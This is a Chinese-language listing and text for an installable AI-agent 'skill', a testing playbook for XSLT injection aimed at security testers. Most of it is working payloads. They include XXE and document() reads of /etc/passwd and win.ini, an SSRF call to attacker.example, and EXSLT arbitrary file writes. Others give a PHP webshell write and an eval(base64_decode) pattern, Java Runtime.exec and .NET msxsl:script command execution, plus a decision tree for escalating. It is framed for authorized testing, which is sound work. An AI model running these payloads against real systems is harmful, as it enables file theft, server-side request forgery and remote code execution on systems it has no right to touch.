关于 xslt-injection
xslt-injection 是面向安全测试人员的 XSLT 注入分析手册,介绍按处理器识别和验证风险的流程。内容涵盖文件读写、外部实体及平台相关扩展;仅适用于授权测试。
主要功能
- 01识别 XSLT 处理器
- 02探测注入执行情况
- 03分析 document() 与 XXE
- 04检查 EXSLT 文件写入
- 05梳理 PHP、Java 与 .NET 扩展风险
适用场景
- 01审查 XML 转换与报表端点
- 02在授权测试中验证 XSLT 注入
- 03按处理器和版本复现问题
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill xslt-injection安装后在 Claude Code 中输入/xslt-injection确认已加载。
详细介绍
技能:XSLT 注入——测试手册
AI 加载指令:当攻击者可控的 XSLT在服务器端被编译或执行时,就会发生 XSLT 注入。首先识别处理器系列(Java/.NET/PHP/libxslt),然后根据平台串联 document()、外部实体、EXSLT 或 嵌入式脚本/扩展函数。仅限授权测试;许多载荷具有破坏性。路由说明:如果输入用于通用 XML 解析,且不一定会流经 XSLT,请交叉加载
xxe-xml-external-entity;如果关注出站document(http:...)请求,请交叉加载ssrf-server-side-request-forgery。
0. 快速入门
- 查找接收点:名称为
xslt、stylesheet、transform、template的参数,SOAP 样式表、报表生成器、XML→HTML 转换器。 - 测试反射:注入唯一命名空间或
xsl:value-of select="'marker'"——如果输出发生变化,则很可能已执行。 - 识别指纹:处理器(§1)。
- 按系列升级测试:document() / XXE(§2–3)、EXSLT 写入(§4)、PHP(§5)、Java(§6)、.NET(§7)。
快速探测(无害标记):
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="'XSLT_PROBE_OK'"/>
</xsl:template>
</xsl:stylesheet>
1. 供应商检测
在表达式中使用标准的 system-property 读取:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
<xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
典型指纹(示例,不一一列举):
| 信号 | 可能的引擎 |
|---|---|
Apache Software Foundation / Xalan 标记 | Xalan(Java) |
Saxonica / Saxon URI 提示 | Saxon |
libxslt / GNOME 技术栈 | libxslt(C,常见于 PHP、nginx 模块等) |
| Microsoft URL / MSXML 字符串 | MSXML / .NET XSLT 技术栈 |
根据结果选择 §5–§7 中的路径。
2. 外部实体(通过 XSLT 触发 XXE)
如果解析器允许使用 DTD,XSLT 1.0 允许在样式表或源文档中使用基于 DTD 的实体:
<!DOCTYPE xsl:stylesheet [
<!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="'ENTITY_START'"/>
<xsl:value-of select="&ext_file;"/>
<xsl:value-of select="'ENTITY_END'"/>
</xsl:template>
</xsl:stylesheet>
注意:经过强化的解析器会禁用外部 DTD——此处失败并不能排除其他 XSLT 攻击向量(见 §3)。
3. 通过 document() 读取文件
document() 会将另一个 XML 文档载入节点集;本地文件通常会被解析为 XML(产生大量信息),但仍可能通过错误和部分读取泄露内容。
Unix 示例:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Windows 示例:
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF / 带外:
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
如果内联数据不会返回给客户端,可结合基于错误或基于时间的观察进行测试。
4. 通过 EXSLT 写入文件(exslt:document)
启用了 EXSLT common 扩展时:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit">
<xsl:template match="/">
<exploit:document href="/tmp/evil.txt" method="text">
<xsl:text>PROOF_CONTENT</xsl:text>
</exploit:document>
</xsl:template>
</xsl:stylesheet>
影响:只要路径权限允许,就可以任意写入文件——通常可通过 Web 根目录、cron 路径或文件包含点实现 RCE。
5. 通过 PHP 实现 RCE(php:function)
需要 PHP XSLT 暴露类似 registerPHPFunctions() 的功能(应用配置错误)。命名空间:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="php:function('readfile','index.php')"/>
</xsl:template>
</xsl:stylesheet>
目录列表:
<xsl:value-of select="php:function('scandir','.')"/>
危险模式(历史滥用方式——仅在实验环境中验证):
php:function('assert', string($payload))——取决于环境,通常已弃用或移除;旧版应用中可与include/require串联。php:function('file_put_contents','/var/www/shell.php','<?php ...')——当可调用函数的白名单设置过于宽松时,可写入 Webshell。- 使用
/e修饰符的preg_replace(旧版 PHP)——替换字符串会被作为 PHP 代码执行;类似 Metasploit 的链通常会用 base64_decode 解码数据块,以隐藏 meterpreter(或其他)分阶段载荷。PHP 7 及更高版本已移除此功能;仅适用于非常古老的运行环境。
旧版 PHP 等效写法(演示 /e + base64 模式——仅限实验环境):
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
只有当 php:function 向用户样式表开放 preg_replace 时,才可通过 XSLT 利用此攻击面(这种情况罕见,且属于严重配置错误)。
测试人员注意:现代 PHP 加固通常会阻止这些方式;未能实现 RCE 并不意味着不存在 document() / XXE 风险。
6. 通过 JAVA 实现 RCE(SAXON / XALAN 扩展)
Java 引擎可能会公开映射到静态方法的扩展函数。历史安全公告中有相关示例;具体语法取决于版本和扩展绑定方式。
示意模式(概念性示例——请根据允许使用的扩展命名空间和 API 调整):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
</xsl:template>
</xsl:stylesheet>
Saxon 风格的静态 Java 集成(高度依赖配置):
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
将 192.0.2.1 替换为你的实验室监听器 / 文档 IP(RFC 5737 TEST-NET)。
操作指南:如果扩展已禁用(常见的安全默认设置),请转而尝试其他地方的 document()、SSRF 或反序列化;并非所有 XSLT 端点都启用了扩展。
7. 通过 .NET 实现 RCE(msxsl:script)
当允许使用 Microsoft XSLT 脚本块时:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
extension-element-prefixes="msxsl">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xexec() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
return "ok";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xexec()"/>
</xsl:template>
</xsl:stylesheet>
默认的安全配置通常会禁用脚本——请将其视为启用时的行为。
8. 决策树
User influences XSLT or XML transform?
|
NO --> stop (out of scope)
|
YES
|
+---------------+---------------+
| |
output reflects no reflection
injected logic? try blind channels
| |
v v
system-property() errors, OOB, timing
fingerprint vendor |
| |
+-----------+-----------+ |
| | | |
libxslt Java .NET document()
| | | |
document() Saxon/Xalan msxsl:script? SSRF/file
EXSLT write extensions? | |
| | C# Process EXSLT?
v v v v
file R/W rt/exec cmd.exe /c map evidence
Payloads All The Things (PAT) 说明
PayloadsAllTheThings 项目记录了多种注入类型;对于 XSLT,维护者的说明指出,没有与 SQLi/XSS 工具链类似的专门维护工具章节——利用方式取决于处理器和配置,主要依靠代理 / 手动构造的载荷和自定义脚本。条件允许时,请预留时间,使用与目标相同的引擎 / 版本进行本地实验室复现。
工具(实践)
| 类别 | 示例 |
|---|---|
| 代理 / 手动操作 | Burp Suite、OWASP ZAP——重放样式表载荷,观察响应和错误 |
| XML/XSLT 实验室 | 在 VM 中使用完全匹配的处理器(PHP libxslt、Java Saxon 版本、.NET framework) |
| 带外 | 用于 document('http://…') 的 Collaborator / 私有回连服务器 |
没有一种通用扫描器可以取代对特定版本行为的验证。
相关内容
- xxe-xml-external-entity — DTD/实体加固、通用 XML 解析器(
../xxe-xml-external-entity/SKILL.md)。 - ssrf-server-side-request-forgery — 当
document(http:…)或实体 URL 导致服务器发起请求时(../ssrf-server-side-request-forgery/SKILL.md)。